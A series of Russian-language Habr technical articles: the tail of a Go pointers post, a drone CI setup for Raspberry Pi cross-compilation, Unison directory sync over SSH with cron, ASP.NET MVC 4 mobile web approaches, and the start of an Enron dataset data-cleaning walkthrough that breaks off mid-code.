Вы можете заметить, что «значение» переменной-указателя inc совпадает с «адресом» переменной count. Это устанавливает отношение совместного использования, которое позволило косвенный доступ к памяти за пределами фрейма. Как только функцией increment выполняется запись через указатель, изменение видны для main функции, когда ей возвращается управление.
#### Переменные-указатели не являются чем-то особенным
Переменные-указатели не являются чем-то особенным, потому что они такие же переменные, как и любая другая переменная. У них есть распределение памяти, и они содержат значение. Просто так получилось, что все переменные-указатели, независимо от типа значения, на которое они могут указывать, всегда имеют одинаковый размер и представление. Что может сбить с толку, так это то, что символ \* действует как оператор внутри кода и используется для объявления типа указателя. Если вы можете отличить объявление типа от операции указателя, это может помочь устранить некоторую путаницу.
Вывод
-----
В этом посте описано предназначение указателей, работа стека и механики указателей в Go. Это первый шаг в понимании механики, принципов проектирования и методик использования, необходимых для написания согласованного и удобочитаемого кода.
В итоге вот что вы узнали:
* Функции выполняются в пределах границ фрейма, которые предоставляют отдельное пространство памяти для каждой соответствующей функции.
* Когда вызывается функция, происходит переход между двумя фреймами.
* Преимущество передачи данных «по значению» заключается в удобочитаемости.
* Стек важен, потому что он обеспечивает пространство физической памяти для границ фрейма, которые даны каждой отдельной функции.
* Вся память стека ниже активного фрейма недействительна, но действительна память из активного фрейма и выше.
* Выполнение вызова функции означает, что программа должна создать новый раздел памяти в стеке.
* Во время каждого вызова функции, когда берется фрейм, стековая память для этого фрейма очищается.
* Указатели служат одной цели — разделять значение с функцией, чтобы функция могла читать и изменять это значение, даже если значение не существует непосредственно внутри своего фрейма.
* За каждый объявленный тип, либо вами, либо самим языком, вы получаете бесплатно тип указателя, который вы можете использовать для разделения.
* Переменная-указатель обеспечивает косвенный доступ к памяти за пределами фрейма для функции, которая ее использует.
* Переменные-указатели не являются чем-то особенным, потому что они такие же переменные, как и любая другая переменная. У них есть распределение памяти, и они содержат значение. | https://habr.com/ru/post/496846/ | null | ru | null |
# Непрерывная кросс компиляция для Raspberry PI
Мне хотелось развернуть систему непрерывной интеграции, кросс компилирующую CMake проект написанный на c++ с OpenGL на Raspberry PI. Заодно я хотел посмотреть, не появились ли удобные серверы автоматической сборки, не содержащие в себе питона и не потребляющие сотни мегабайт ram в простое. Одна из целей написания статьи — узнать, не прошёл ли я мимо более хорошего или простого решения :)
TLDR: drone классный, позволяет добавить простенький файл в корень репозитория на github/bitbucket — и получить автоматические билды/тесты/деплой. Прямо как в Travis, но self-hosted.
Отправившись в гугл я узнал, что билд серверов удовлетворяющих моим нехитрым требованиям всего два:
* drone.io
* concourse.ci
Я остановился на drone.io. Выбирал по описанию, объективно сравнивать не могу.
У drone есть две версии, 0.4 и 0.5. 0.5 — это бета, выглядит немного симпатичней, но принципиально новых фичей я для себя не нашёл. Единственный баг в 0.4 исправленный в 0.5 на который я наткнулся — можно случайно через UI лишить себя флажка Administrator.
Документация по ссылке <http://readme.drone.io/> — по версии 0.4. Для 0.5 — <http://readme.drone.io/0.5/>.
Из неочевидных нюансов — drone работает с одним из поставщиков репозиториев, таких как github, bitbucket, gogs. Причём один инстанс drone может работать только с одним источником. Это исправляется запуском нескольких независимых серверов drone, благо в простое они не тратят лишние ресурсы.
В моём случае — один drone смотрит в bitbucket, один — в gogs запущенный на том же сервере.
Я запускал drone через docker образ, выглядит это так:
Запуск:
```
docker run -d \
-e REMOTE_DRIVER=bitbucket \
-e "REMOTE_CONFIG=https://bitbucket.org?client_id=***&client_secret=***" \
-e DRONE_DATABASE_DRIVER=sqlite3 \
-e DRONE_DATABASE_CONFIG=/var/lib/drone/drone.sqlite \
-v /var/lib/drone_bitbucket:/var/lib/drone \
-v /var/run/docker.sock:/var/run/docker.sock \
-p 81:8000 \
--restart=always \
--name=drone_bitbucket \
drone/drone:0.4
```
И всё :)
Так выглядит drone после установки на сервер:
По нажатию на кнопке drone отправиться за разрешениями в bitbucket, и при успехе покажет все репозитории доступные аккаунту:
Изначально во вкладке Active будет пусто, все репозитории будут в Available. Вот такая кнопка включения есть для каждого битбакет репозитория:
Теперь самое интересное, сам процесс сборки :)
Процесс сборки в drone настраиваеться крайне просто. В корне активного репозитория должен быть файл .drone.yml, описывающий как же именно собирать и деплоить содержимое репозитория. Задаётся тэг докер образа, в котором будет происходить сборка и команды для сборки. Весь .drone.yml для raspberry выглядит так:
```
build:
image: notfl3/cross_raspberry_pi
commands:
- cmake -D CMAKE_BUILD_TYPE=Debug -D CMAKE_TOOLCHAIN_FILE=/Toolchain-RaspberryPi.cmake .
- make
publish:
sftp:
host:
port: 22
username: ...
password: ...
destination_path: ...
files:
- ...
```
Самым сложным для меня местом было создание докер-образа, могущего в кросскомпиляцию для Raspberry. В интернете есть много готовых, я же сделал свой (в основном что бы поглядеть, что это за докер вообще такой). Выглядит он примерно так:
```
FROM debian:sid
RUN apt-get update
RUN apt-get install -y git
RUN apt-get install -y cmake
ENV CROSS_TRIPLE arm-linux-gnueabihf
RUN mkdir -p /rpi/tools && cd /rpi/tools && git init && git remote add -f origin https://github.com/raspberrypi/tools && \
git config core.sparseCheckout true && echo "arm-bcm2708/gcc-linaro-${CROSS_TRIPLE}-raspbian-x64" >> .git/info/sparse-checkout && \
git pull --depth=1 origin master
RUN mkdir -p /rpi/rootfs/opt
COPY lib/ /rpi/rootfs/lib/
COPY usr/ /rpi/rootfs/usr/
COPY opt/vc/ /rpi/rootfs/opt/vc/
COPY Toolchain-RaspberryPi.cmake /Toolchain-RaspberryPi.cmake
RUN mkdir -p /build
WORKDIR /build
```
Это содержимое моего Dockerfile, для того что бы создать полноценный образ, используемый для сборки — нужно положить его в одну директорию к /usr, /lib, /opt взятых с настоящего Raspbian'a и файлом Toolchain-RaspberryPi.cmake после команды `docker build . -t notfl3/cross_raspberry_pi` drone запущенный на том же сервере сможет воспользоваться этим образом и собирать наши билды.
Сама кросскомпиляция происходит согласно [правилам CMake'а](https://cmake.org/cmake/help/v3.6/manual/cmake-toolchains.7.html), единственный нюанс — я прописал свой Toolchain.cmake файл для gcc из raspberry-tools, выглядит он так:
```
SET(CMAKE_SYSTEM_NAME Linux)
SET(CMAKE_SYSTEM_VERSION 1)
# Where is the target environment
SET(CMAKE_FIND_ROOT_PATH /rpi/rootfs)
# Specify the cross compiler
SET(CMAKE_C_COMPILER /rpi/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin/arm-linux-gnueabihf-gcc "--sysroot=${CMAKE_FIND_ROOT_PATH}")
SET(CMAKE_CXX_COMPILER /rpi/tools/arm-bcm2708/gcc-linaro-arm-linux-gnueabihf-raspbian-x64/bin/arm-linux-gnueabihf-g++ "--sysroot=${CMAKE_FIND_ROOT_PATH}")
# Search for programs only in the build host directories
SET(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
# Search for libraries and headers only in the target directories
SET(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
SET(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
INCLUDE_DIRECTORIES(${CMAKE_FIND_ROOT_PATH}/usr/include/arm-linux-gnueabihf)
INCLUDE_DIRECTORIES(${CMAKE_FIND_ROOT_PATH}/usr/include/)
```
С помощью этих нехитрых манипуляций я смог получить работающих билд с glfw окном для raspberry, быстро собирающийся на внешнем выделенным сервере.
Собирается, удивительно!
 | https://habr.com/ru/post/318840/ | null | ru | null |
# Unison: настройка и автоматизация двусторонней синхронизации каталогов на двух серверах
Getty Images/iStockphoto
Проблему синхронизации каталогов на двух серверах с операционными системами семейства Linux на борту можно решить проще, если использовать специализированные инструменты. Давайте посмотрим, как это можно сделать с помощью [Unison](https://ru.wikipedia.org/wiki/Unison).
Возможно, у вас есть несколько серверов, и перед вами стоит задача синхронизировать определенные каталоги на этих серверах. Например, вам необходимо синхронизировать каталог **/data** на каждом из этих серверов, чтобы некое приложение имело доступ к актуальной информации. Или, может быть, вам просто нужно периодически выполнять синхронизированное резервное копирование данных одного сервера на другой.
Unison похож на утилиту синхронизации [rsync](https://ru.wikipedia.org/wiki/Rsync), но в отличие от неё он поддерживает двустороннюю синхронизацию. То есть, он позволяет синхронизировать две копии файлов, обновляя каждую копию в зависимости от произведённых изменений.
При использовании Unison на серверах желательно иметь установленные пакеты типа openssh-server и ssh поскольку из соображений безопасности синхронизацию лучше всего проводить по протоколу SSH. Однако, если вы уверены в безопасности своей сети (например, сервер может использовать аутентификацию по ключу SSH без пароля), можете не заморачиваться.
Что ещё нужно для использования Unison
--------------------------------------
Я покажу весь процесс на примере двух серверов Ubuntu (оба 18.04). Вы можете установить и использовать Unison c другими дистрибутивами, но тогда вам нужно будет изменить команду установки, иначе Unison может быть установлен из стандартных репозиториев (разумеется, ваш пользователь должен иметь права sudo).
Я буду использовать вот такие сервера:
* server1 — 192.168.1.6
* server2 — 192.168.1.19
Как установить Unison
---------------------
Первое, о чем нужно позаботиться, это установка Unison. Это должно быть сделано на обоих серверах. Зайдите на оба сервера и введите команду:
```
sudo apt-get install unison unison-all -y
```
Дождитесь окончания установки Unison и продолжайте.
Как сгенерировать и скопировать SSH-ключ
----------------------------------------
Сначала генерируем SSH-ключ только для **server1**. Для этого используем команду:
```
ssh-keygen -t rsa
```
Когда вас попросят ввести пароль — просто нажмите клавишу ENTER.
Когда ключ будет сгенерирован скопируйте его на **server2** с помощью команды:
```
ssh-copy-id 192.168.1.19
```
Как только ключ будет скопирован, можете приступить непосредственно к делу.
Как использовать Unison
-----------------------
Давайте в тестовых целях создадим по одной директории на каждом сервере. Команда для **server1**:
```
sudo mkdir -p /data1
```
Для **server2**:
```
sudo mkdir -p /data2
```
Далее на обоих серверах необходимо изменить имя владельца созданного каталога, иначе Unison не сможет ничего записать туда. В качестве владельца укажите пользователя, который будет запускать команду Unison:
```
sudo chown -R $USER.$USER /data2
```
Сделайте то же самое для **server1**:
```
sudo chown -R $USER.$USER /data1
```
Положим несколько тестовых файлов в **/data1**:
```
touch /data1/{test1,test2,test3}
```
Синхронизируем наши каталоги с помощью следующей команды (запустив её на **server1**):
```
unison /data1 ssh://192.168.1.19//data2
```
Поскольку вы пытаетесь синхронизировать эти корневые каталоги впервые, вы получите предупреждение о том, что синхронизация может занять некоторое время (но в нашем случае этого не произойдет, поскольку мы добавили в каталог всего лишь три тестовых файла минимального объёма). Если бы это был бэкап на продакшне, первый запуск действительно мог бы занять некоторое время.
Так что чай попьёте в следующий раз. А пока нажмите клавишу Enter, чтобы запустить процесс. После того, как вы это сделаете, вам будет предложено подтвердить синхронизацию каждого файла. По завершении введите ‘y’, чтобы продолжить.
Поскольку мы синхронизируем только три тестовых файла, это произойдёт очень быстро и вернёт вас в оболочку bash. Чтобы убедиться, что файлы синхронизированы, перейдите на **server2** и введите команду:
```
ls /data2
```
Далее система сообщит о том, что в каталоге **/data2** лежат наши файлы test1, test2 и test3:
У нас получилось: Unison синхронизировал оба каталога.
Как запускать Unison без необходимости взаимодействия с пользователем
---------------------------------------------------------------------
Я думаю, вы не хотите постоянно подтверждать синхронизацию каждого файла каталога каждый раз, когда вы запускаете Unison. Это особенно напрягает, когда вы синхронизируете каталоги с большим количеством файлов. Поэтому нужна автоматизация. Зайдите на **server1** и введите команду:
```
nano ~/.unison/default.prf
```
Когда конфигурационный файл откроется для редактирования, добавьте в него две строки:
```
auto=true
batch=true
```
Затем сохраните и закройте файл.
Теперь Unison не будет вас тревожить по мелочам. Но это ещё не всё.
Как создать задание для планировщика Cron
-----------------------------------------
Я думаю, вы вряд ли хотели бы запускать синхронизацию вручную, потому что можете где-то допустить ошибку или, например, не учесть изменение структуры каталогов на серверах. Чтобы настроить автоматизацию, вам нужно создать задание cron для **server1**.
Давайте создадим скрипт для запуска синхронизации:
```
sudo nano /usr/local/bin/unisonsync
```
В этот файл нужно добавить следующее:
```
#!/bin/bash/
unison /data1 ssh://192.168.1.19//data2
```
Далее нужно выдать скрипту права на исполнение:
```
sudo chmod ugo+x /usr/local/bin/unisonsync
```
Создайте задание для Cron с помощью команды:
```
crontab -e
```
После этого наберите:
```
*/5 * * * * /usr/local/bin/unisonsync &> /dev/null
```
Теперь синхронизация будет автоматически запускаться каждые 5 минут.
Я показал, что Unison позволяет легко синхронизировать каталоги на двух серверах Linux. Можете проверить это сами, добавив файлы в соответствующие тестовые каталоги **/data1** и **/data2** на обоих серверах. Убедившись, что синхронизация работает, вы можете использовать её в боевом режиме на продакшн-серверах.
---
#### На правах рекламы
[VDSina](https://vdsina.ru/pricing?partner=habr11) всегда рада предложить надёжные серверы для любых задач. Вам доступен огромный выбор операционных систем для автоматической установки, есть возможность установить любую ОС с собственного [образа](https://vdsina.ru/qa/q/kak-ispolzovat-svoy-obraz-iso-v-vds?partner=habr11), а также использовать высокоскоростную [локальную сеть](https://vdsina.ru/qa/q/lokalnaya-set?partner=habr11) между серверами в пределах одной локации.
[](https://vdsina.ru/eternal-server?partner=habr11) | https://habr.com/ru/post/501426/ | null | ru | null |
# Тренды мобильного веба и два подхода к построению мобильных приложений
Одним из сильнейших трендов современного веба является мобильный веб — специальное представление сайтов для всего многообразия мобильных устройств, смартфонов, планшетов и так далее.
В этой статье рассматриваются современные тренды мобильного веба. Как быстро растет мобильный веб? Что ожидать от мобильного веба через пару лет? Как мобильное представление сайтов влияет на бизнес и интернет-магазины? Как обстоят дела с мобильными сайтами сегодня?
Целью статьи ставится так же ответить на вопрос о способах создания мобильных сайтов. Я рассмотрю два основных направления в процессе создания мобильных сайтов и то, как эффективные инструменты [Visual Studio 2012](http://vs2012.ru/) и ASP.NET MVC позволят вам реализовать любые задачи стоящие перед мобильным представлением сайтов.
### Тренды мобильного веба
Прежде всего, перед тем как перейти к практической части, давайте рассмотрим текущие тренды мобильного веба. Попробуйте ответить на вопрос "как быстро вырос мобильный веб за два года?". Правильный ответ может удивить: с 2009 по 2011 год использование мобильных устройств для просмотра веб-сайтов выросло на 1000% или в 10 раз (рисунок 1).
Рис.1. Тренд мобильного веба [(с)](http://blog.kissmetrics.com/mobile-mania)
При этом уже в августе 2011 года мобильный веб составлял уже 7% от общего числа посещений веба пользователями. К моменту написания этой статьи, эта цифра скорее всего значительно выше.
Если мы посмотрим в будущее и рассмотрим прогнозы разных аналитиков, то сможем узнать, что уже к 2014 году мобильный веб превзойдет обычный доступ к вебу с десктопов (рисунок 2).
Рис.2. Мобильный веб обойдет десктопный в 2014 году [(с)](http://tag.microsoft.com/community/blog/t/the_growth_of_mobile_marketing_and_tagging.aspx)
Очень хорошо, эти прогнозы не сильно расходятся с тем, что мы наблюдаем на практике: смартфоны и планшеты становятся все доступнее и получают все больше распространения. В некоторых странах, например в Египте, сложилась ситуация, когда основная часть пользователей пропустила десктопный интернет, у них не было компьютеров (или нет сейчас) и они начали использовать интернет сразу на мобильных устройствах.
В связи с таким сильным трендом мобильного веба, становится интересным оценить как же влияет мобильное представление на бизнес или просто посещаемость веб-сайтов.
Рис.3. Рост посещаемости для сайтов с мобильной версией [(с)](http://blog.kissmetrics.com/mobile-mania)
Оказывается, что простое наличие мобильной версии для сайта может значительно увеличить посещаемость страниц вашего ресурса. По некоторым данным, это увеличение может составить до 85% (рисунок 3).
При этом, у сайтов, которые предлагают пользователям доступ к магазину через мобильные устройства, отмечается рост продаж до 51% (рисунок 4)!
Рис.4. Рост продаж сайтов с мобильной версией [(с)](http://blog.kissmetrics.com/mobile-mania)
Казалось бы, налицо устойчивый тренд мобильных устройств и мобильного веба. Исследования показывают уверенную выгоду от введения мобильных представлений и поддержки мобильных устройств сайтами и интернет-магазинами. Но как дела обстоят на практике? Бросились ли все сайты поддерживать мобильный веб?
Нет. По данным исследований в 2010 году только чуть более 20% сайтов из списка 500 крупнейших предлагали поддержку мобильного представления (рисунок 5).
Рис.5. Поддержка сайтами мобильного веба [(с)](http://blog.kissmetrics.com/mobile-mania)
И всего только около 5% сайтов интернет-коммерции поддерживали мобильных пользователей! (рисунок 6)
Рис.6. Оптимизация интернет-сайтов под мобильное представление [(с)](http://blog.kissmetrics.com/mobile-mania)
Конечно, ситуация постепенно улучшается, но остается ясным, что бизнес и просто веб не успевает за развитием мобильного веба.
И здесь встает вопрос о том, а как следует решать эту проблему владельцам бизнеса? Как правильно построить мобильный сайт?
### Мобильный веб: два подхода
В этой статье я выделяю два основных подхода к построению мобильного веба. Первый подход: единый сайт для экранов всех типов и второй подход: отдельная версия сайта для мобильных устройств.
Каждый из подходов обладает своими плюсами и минусами. Давайте рассмотрим их по порядку.
#### Подход: один сайт для всех устройств
Если мы попробуем перейти на крупнейший новостной ресурс рунета Lenta.ru на мобильном устройстве, то можем увидеть следующую картину (рисунок 7) .
Рис.7. Lenta.ru в мобильном браузере
Картина не радует, для просмотра необходимой информации нам нужно приблизить текст жестами на сенсорном экране (рисунок 8).
Рис.8. Приближенный текст Lenta.ru
Вот то представление, за которым мы пришли на сайт, вот в таком виде мы можем читать информацию.
Решение проблемы отображения информации одного сайта на разных устройствах лежит в веб-стандартах. Посмотрите, для примера, на шаблоны по умолчанию, которые поставляются с ASP.NET MVC4 в Visual Studio 2012 (рисунок 9).
Рис.10. Масштабирование сайта на разных экранах.
Имея сайт ориентированный на большие экраны десктопных компьютеров, мы тем не менее не теряем в читаемости при уменьшении экрана при отображении на других устройствах.
Наоборот, благодаря поддержке веб-стандартов, наш сайт подстраивается под разрешение экрана и, если это требуется, изменяет компоновку страницы, положение элементов на странице или даже удаляет некоторые из них, если они мешают нам сделать представление удобным на мобильном устройстве.
На рисунке 10, например, при уменьшении размера вы можете отметить изменение компоновки шапки страницы, удаление элементов оформления списка (черные кружочки). В конце концов, даже на самом небольшом разрешении наша страница остается читаемой предлагая удобный доступ к основному, что нужно пользователю — контенту.
Достигается этот механизм, как я уже сказал, с помощью веб-стандартов (CSS3 Media Queries), про которые пойдет речь в технической части статьи.
#### Подход: сайт имеет отдельную "мобильную" версию
Рассмотрим второй подход в построении мобильного представления — отдельный мобильный сайт. Для примера возьмем известный всем сайт социальной сети Facebook (рисунок 11).
Рис.11. Десктоп и мобильная версия Facebook
Как вы можете видеть, Facebook предлагает две абсолютно разные версии сайта для десктоп-пользователя и мобильного пользователя. Не обсуждая удобство мобильной версии Facebook, нужно заметить что этот подход позволяет эффективно решить поставленную задачу.
Для поддержки этого подхода в Visual Studio 2012 добавлены специальные шаблоны мобильных сайтов, которые позволяют вам на базе ASP.NET MVC и jQuery UI в короткие сроки построить отдельный мобильный сайт (рисунок 12).
Рис.12. Десктоп и мобильные версии сайтов ASP.NET
Теперь, когда мы познакомились с подходами в построении мобильных сайтов, давайте рассмотрим технические детали их построения и то, какие инструменты предлагают Visual Studio 2012 и ASP.NET MVC4 для эффективной разработки.
### Эффективная разработка мобильных сайтов с ASP.NET MVC 4
Рассмотрим разработку мобильных сайтов в порядке описанных подходов: сначала для подхода "один сайт для всех экранов", а затем "отдельный сайт".
#### Создание одного сайта для всех экранов
Как я уже писал ранее, механизм который позволяет адаптироваться контенту вашего веб-приложения под различные устройства называется CSS3 Media Queries. Думаю, этот веб-стандарт хорошо известен веб-разработчикам. ASP.NET MVC предлагает его использование по умолчанию.
Если вы создадите MVC4-приложение в Visual Studio 2012, то сможете обнаружить в папке Content файл определения стилей Site.css. Этот файл содержит то самое использование CSS3 Media Queries, которое позволяет контенту страниц адаптироваться под разрешение (рисунок 13).
Рис.13. Использование CSS3 Media Queries
CSS3 Media Queries позволяет определить набор CSS-стилей, которые будут применяться только в определенных условиях, например, при определенной ширине экрана.
ASP.NET MVC 4 использует этот механизм, чтобы сделать мобильное представление по умолчанию. На рисунке 13 представлен набор правил, которые будут применяться только при ширине экрана менее 850 пикселей.
Вы можете использовать и расширять этот механизм своими правилами, делая ваш сайт еще более гибким и подстраивающимся под устройства пользователя.
Другим важным механизмом, который должен использоваться для каждой из страниц сайта является метатег "viewport":
Это определение подсказывает мобильному устройству подстраивать текст и контент страниц под свой экран. В шаблоне ASP.NET MVC4 данное определение добавлено в файл компоновки \_Layout.cshtml, который применяется для всех страниц.
#### Создание разных представлений для разных устройств или условий
Даже имея один сайт для десктоп и мобильных пользователей часто возникает потребность создавать различные представления (дизайн) для разных устройств. Представьте себе вариант, когда вы для пользователей десктопа делаете один дизайн, для мобильных пользователей — другой, для пользователей iPhone — третий.
Простая задача, но как ее реализовать используя общую бизнес-логику в рамках одного проекта? ASP.NET MVC 4 предлагает для этого очень простые инструменты, которые позволяют решить задачу за минуты.
С помощью мастера добавьте в папку Views/Home новое представление с именем Index.Mobile
Рис.14. Добавление нового представления
После этого измените разметку этого представления на :
Привет, мобильный пользователь!
-------------------------------
И запустите приложение на исполнение. Являясь десктопным пользователем вы увидите стандартную страницу (рисунок 15).
Рис.15. Десктоп-вид приложения
Теперь, не закрывая приложения, перейдите по этому же адресу в мобильном клиенте. Я использую для этого [Opera Mobile Emulator](http://www.opera.com/developer/tools/mobile/). Вы сможете увидеть, что мобильное представление для того же самого адреса изменилось на новое (рисунок 16):
Рис.16. Мобильный вид приложения
Как вы видите, для создания двух разных дизайнов в рамках одного приложения нам не пришлось писать ни одной строчки кода — эту функцию MVC4 поддерживает из коробки.
Ок, половина дела сделана, но как быть с третьим представлением, специально для iPhone? Давайте добавим еще одно новое представление с именем Index.iPhone, так же как делали ранее. И изменим разметку следующим кодом:
Привет, пользователь iPhone!
----------------------------
Если мы теперь представимся с помощью Developer Tool в IE как iPhone и обратимся к странице, то получим не совсем тот результат на который мы рассчитывали (рисунок 17).
Рис.17. Переход на страницу под видом iPhone
Все правильно, MVC4 поддерживает из коробки работу с мобильными устройствами в целом, но для определения конкретного устройства нам необходимо сделать фреймворку подсказку.
Делается это в три строчки кода. Добавьте следующий код в Application\_Start() в файле Global.asax:
```
DisplayModeProvider.Instance.Modes.Insert(0, new DefaultDisplayMode("iPhone")
{
ContextCondition = (context => context.GetOverriddenUserAgent().IndexOf
("iPhone", StringComparison.OrdinalIgnoreCase) >= 0)
});
```
Запустите приложение и перейдите на него под видом iPhone, вы получите требуемый результат (рисунок 18):
Рис.18. Вид приложения специально для iPhone
Итак, с помощью механизмов ASP.NET MVC4 и трех строчек кода нам удалось создать приложение с тремя разными представлениями для разных типов устройств: десктоп, мобильные устройства в целом, специально для iPhone (рисунок 19).
Рис.19. Три представления одной страницы
Благодаря этим возможностям вы сможете создавать разнообразные представление не просто для разных устройств, но вообще на основе любых условий — это устанавливаете вы сами.
#### Создание отдельного сайта для мобильного представления
Вторым способом создания мобильного представления является создание отдельного сайта со специальным интерфейсом заточенным под мобильные специфики — интерфейс, управление пальцами и жесты.
Visual Studio 2012 и ASP.NET MVC4 полностью поддерживают этот сценарий и предлагают решение в виде специальных шаблонов основанных на популярном решении jQuery UI (рисунок 20).
 
Рис.20. Мобильное представление отдельного сайта
С помощью этих шаблонов и входящих в стандартную поставку компонент jQuery UI и jQuery Mobile вы сможете создать отдельные сайты для мобильных клиентов.
### Выбор между двумя подходами
Перед вами может встать выбор необходимого подхода: делать один сайт для всех экранов и устройств, либо выделять отдельный сайт для мобильных устройств. Выбор целиком и полностью за вами и зависит от специфики вашего сайта и ваших задач.
Подход одного сайта имеет смысл, когда над проектом работает одна команда, когда сайт не содержит сложной компоновки и когда страницы сайта не содержат критически важных элементов оформления, которыми нельзя пожертвовать.
Подход отдельного мобильного сайта имеет смысл, когда им занимается отдельная команда или аутсорс, когда основной сайт содержит сложную компоновку с большим числом функциональных блоков.
Какой бы способ вы не выбрали, [Visual Studio 2012](http://vs2012.ru/) и ASP.NET MVC4 позволят полностью реализовать все ваши идеи и желания.
### Заключение
В рамках этой статьи мы рассмотрели текущие тренды мобильного веба, куда и с какой скоростью движется мобильный веб. Мы рассмотрели данные о влиянии поддержки мобильного представления на бизнес и успешность сайтов. Мы узнали о важности иметь мобильное представления сайта уже сегодня.
Я рассказал про два подхода в решении задачи поддержки мобильных пользователей: один сайт для всех устройств и отдельный сайт для мобильных пользователей. Каждый их этих подходов эффективно поддерживается в Visual Studio 2012 и ASP.NET MVC 4. Всего в несколько строчек кода вы можете сделать уникальные представления для любого типа мобильного пользователя.
Надеюсь, данный материал был вам полезен. Давайте сделаем веб удобным для всех пользователей! | https://habr.com/ru/post/145341/ | null | ru | null |
# Идентификация мошенничества с использованием Enron dataset. Часть 1-ая, подготовка данных и отбор признков
Корпорация Enron — это одна из наиболее известных фигур в американском бизнесе 2000-ых годов. Этому способствовала не их сфера деятельности (электроэнергия и контракты на ее поставку), а резонанс в связи с мошенничеством в ней. В течении 15 лет доходы корпорации стремительно росли, а работа в ней сулила неплохую заработную плату. Но закончилось всё так же быстротечно: в период 2000-2001гг. цена акций упала с 90$/шт практически до нуля по причине вскрывшегося мошенничества с декларируемыми доходами. С тех пор слово "Enron" стало нарицательным и выступает в качестве ярлыка для компаний, которые действуют по аналогичной схеме.
В ходе судебного разбирательства, 18 человек (в том числе крупнейшие фигуранты данного дела: Эндрю Фастов, Джефф Скиллинг и Кеннет Лей) были осуждены.
](https://habrastorage.org/r/w780q1/webt/te/rh/1l/terh1lsenbtg26n8nhjbhv3opfi.jpeg)
Вместе с тем были опубликованы архив электронной переписки между сотрудниками компании, более известный как Enron Email Dataset, и инсайдерская информация о доходах сотрудников данной компании.
В статье будут рассмотрены источники этих данных и на основе их построена модель, позволяющая определить, является ли человек подозреваемым в мошенничестве. Звучит интересно? Тогда, добро пожаловать под хабракат.
Описание датасета
=================
Enron dataset (датасет) — это сводный набор открытых данных, что содержит записи о людях, работающих в приснопамятной корпорации с соответствующим названием.
В нем можно выделить 3 части:
* payments\_features — группа, характеризующая финансовые движения;
* stock\_features — группа, отражающая признаки связанные с акциями;
* email\_features — группа, отражающая информацию об email-ах конкретного человека в агрегированном виде.
Конечно же, присутствует и целевая переменная, которая указывает, подозревается ли данный человек в мошенничестве (признак 'poi').
Загрузим наши данные и начнём с работу с ними:
```
import pickle
with open("final_project/enron_dataset.pkl", "rb") as data_file:
data_dict = pickle.load(data_file)
```
После чего превратим набор **data\_dict** в Pandas dataframe для более удобной работы с данными:
```
import pandas as pd
import warnings
warnings.filterwarnings('ignore')
source_df = pd.DataFrame.from_dict(data_dict, orient = 'index')
source_df.drop('TOTAL',inplace=True)
```
Сгруппируем признаки в соответствии с ранее указанными типами. Это должно облегчить работу с данными впоследствии:
```
payments_features = ['salary', 'bonus', 'long_term_incentive',
'deferred_income', 'deferral_payments', 'loan_advances',
'other', 'expenses', 'director_fees', 'total_payments']
stock_features = ['exercised_stock_options', 'restricted_stock', 'restricted_stock_deferred','total_stock_value']
email_features = ['to_messages', 'from_poi_to_this_person',
'from_messages', 'from_this_person_to_poi',
'shared_receipt_with_poi']
target_field = 'poi'
```
Финансовые данные
-----------------
В данном датасете присутствует известный многим NaN, и выражает он привычный пробел в данных. Иными словами, автору датасета не удалось обнаружить какой-либо информации по тому или иному признаку, связанному с конкретной строкой в датафрейме. Как следствие, мы можем считать, что NaN это 0, поскольку нет информации о конкретном признаке.
```
payments = source_df[payments_features]
payments = payments.replace('NaN', 0)
```
### Проверка данных
При сравнении с [исходной PDF](https://github.com/udacity/ud120-projects/raw/master/final_project/enron61702insiderpay.pdf), лежащей в основе датасета, оказалось, что данные немного искажены, поскольку не для всех строк в датафрейме **payments** поле *total\_payments* является суммой всех финансовых операций данного человека. Проверить это можно следующим образом:
```
errors = payments[payments[payments_features[:-1]].sum(axis='columns') != payments['total_payments']]
errors.head()
```
Мы видим, что BELFER ROBERT и BHATNAGAR SANJAY имеют неверные суммы по платежам.
Исправить данную ошибку можно, сместив данные в ошибочных строках влево или вправо и посчитав сумму всех платежей еще раз:
```
import numpy as np
shifted_values = payments.loc['BELFER ROBERT', payments_features[1:]].values
expected_payments = shifted_values.sum()
shifted_values = np.append(shifted_values, expected_payments)
payments.loc['BELFER ROBERT', payments_features] = shifted_values
shifted_values = payments.loc['BHATNAGAR SANJAY', payments_features[:-1]].values
payments.loc['BHATNAGAR SANJAY', payments_features] = np.insert(shifted_values, 0, 0)
```
Данные по акциям
----------------
```
stocks = source_df[stock_features]
stocks = stocks.replace('NaN', 0)
```
Выполним проверку корректности и в этом случае:
```
errors = stocks[stocks[stock_features[:-1]].sum(axis='columns') != stocks['total_stock_value']]
errors.head()
```
Исправим аналогично ошибку в акциях:
```
shifted_values = stocks.loc['BELFER ROBERT', stock_features[1:]].values
expected_payments = shifted_values.sum()
shifted_values = np.append(shifted_values, expected_payments)
stocks.loc['BELFER ROBERT', stock_features] = shifted_values
shifted_values = stocks.loc['BHATNAGAR SANJAY', stock_features[:-1]].values
stocks.loc['BHATNAGAR SANJAY', stock_features] = np.insert(shifted_values, 0, shifted_values[-1])
```
Сводные данные по электронной переписке
---------------------------------------
Если для данных финансов или акций NaN был эквивалентен 0, и это вписывалось в итоговый результат по каждой из этих групп, в случае с email NaN разумнее заменить на некое дефолтное значение. Для этого можно воспользоваться Imputer-ом:
```
from sklearn.impute import SimpleImputer
imp = SimpleImputer()
```
Вместе с тем будем считать дефолтное значение для каждой категории (подозреваем ли человек в мошеничестве) отдельно:
```
target = source_df[target_field]
email_data = source_df[email_features]
email_data = pd.concat([email_data, target], axis=1)
email_data_poi = email_data[email_data[target_field]][email_features]
email_data_nonpoi = email_data[email_data[target_field] == False][email_features]
email_data_poi[email_features] = imp.fit_transform(email_data_poi)
email_data_nonpoi[email_features] = imp.fit_transform(email_data_nonpoi)
email_data = email_data_poi.append(email_data_nonpoi)
```
Итоговый датасет после коррекции:
```
df = payments.join(stocks)
df = df.join(email_data)
df = df.astype(float)
```
Выбросы
-------
На финальном шаге данного этапа удалим все выбросы (outliers), что могут исказить обучение. В то же время всегда стоит вопрос: как много данных мы можем удалить из выборки и при этом не потерять в качестве обучаемой модели? Я придерживался совета одного из лекторов ведущих курс по ML (машинное обучение) на Udacity — ”Удалите 10 штук и проверьте на выбросы еще раз”.
```
first_quartile = df.quantile(q=0.25)
